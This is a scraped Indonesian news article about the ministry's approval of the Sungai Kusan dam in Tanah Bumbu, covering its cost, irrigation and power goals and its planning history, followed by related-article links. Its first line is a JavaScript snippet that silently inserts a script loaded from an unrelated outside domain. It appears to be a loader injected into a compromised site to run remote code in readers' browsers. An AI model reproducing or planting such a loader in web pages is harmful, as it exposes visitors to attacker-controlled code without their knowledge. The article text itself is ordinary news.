(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Kementerian PUPR RI menyetujui proyek pembangunan bendungan Sungai Kusan, di Kabupaten Tanah Bumbu.
Mega proyek bendungan Sungai Kusan sudah digagas sejak era Mardani H Maming sebagai bupati tahun 2015 lalu.
“Jika ada yang mengklaim bendungan di Tanah Bumbu adalah bendungan Riam Kiwa, itu salah alamat. Karena Riam Kiwa berada di Kabupaten Banjar. Jadi, yang benar itu bendungan Sungai Kusan di Kabupaten Tanah Bumbu,” tegas Mardani H Maming.
Menurut bupati Tanah Bumbu dua periode tersebut, bendungan Sungai Kusan sangat penting dan strategis bagi Tanah Bumbu.
“Jika selesai, nantinya bendungan Sungai Kusan mampu mengairi pertanian 10.000 hektare. Bendungan Sungai Kusan juga penting untuk pengendali banjir. Selain itu, bendungan tersebut juga dapat menjadi sumber energi penyedia tenaga listrik dengan daya sekitar 60 megawatt, serta penyedia air bersih,” kata Mardani H Maming, Minggu (4/10/2020).
Mardani H Maming mengucap terimakasih kepada pemerintah pusat, dalam hal ini Kementerian PUPR yang telah menyetujui proyek bendungan Sungai Kusan. “Proyek ini akan sangat bermanfaat bagi Tanah Bumbu ke depan,” tambahnya.
Jika bendungan ini jadi, akan mampu mengairi pertanian dari Kusan Hilir hingga Kusan Hulu. Diperkirakan mega proyek bendungan atau waduk Sungai Kusan ini memakan biaya sekitar Rp 1,8 triliun.
Proyek Bendungan Sungai Kusan menurut rencana akan menggenangi tiga wilayah desa yaitu Desa Mangkalapi, Temunih dan Desa Batu Bulan.
Saat itu Jumat 29 September 2019, Dinas PUPR Tanah Bumbu menggelar ekspose laporan Land Acquisition And Resettlement Action Plan (LARAP) tentang proyek Bendungan Sungai Kusan di aula Dinas PUPR Tanah Bumbu.
Eskpose tersebut terungkap, pembangunan bendungan Sungai Kusan sudah masuk tahapan studi kelayakan sejak tahun 2016 lalu. Kemudian dilanjutkan dengan DED yang sedang berjalan hingga berakhir tahun 2019, serta disambungkan dengan Amdal LARAP.
Sementara, pada tahun 2018 lalu, Kepala Dinas Pekerjaan Umum Kabupaten Tanah Bumbu ketika itu Roy Rizali Anwar, biaya pengerjaan proyek Bendungan Sungai Kusan mencapai sekitar Rp1,8 triliun. Anggaran tersebut rencannya akan dialokasikan melalui APBD Tanah Bumbu, APBD Provinsi Kalimantan Selatan dan APBN.
“Tahapan pembangunan dimulai, dan APBD 2016 Tanah Bumbu sudah disiapkan sekitar Rp5 miliar untuk membuat kajian pembuatan bendungan yang disampaikan kepada Kementerian Pekerjaan Umum, apakah lokasi tersebut layak dibangun bendungan atau tidak,” kata Roy.
Selanjutnya periode 2017-2019 dilakukan kontrak antara pemerintah daerah dengan pihak kedua untuk melakukan penyusuana Detail Enginering Design (DED), atau perencanaan detail pembangunan dan pembuatan Analisis Mengenai Dampak Lingkungan (AMDAL).
Setelah kontrak penyusunan DED tersebut rampung, baru dilaksanakan tahapan-tahapan selanjutnya mulai dari pembebasan laham, pengalihan pemukiman penduduk dan penyususnan material pembangunan bendungan tersebut. (kanalkalimantan.com/rls)
KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More
KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More
KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More
This website uses cookies.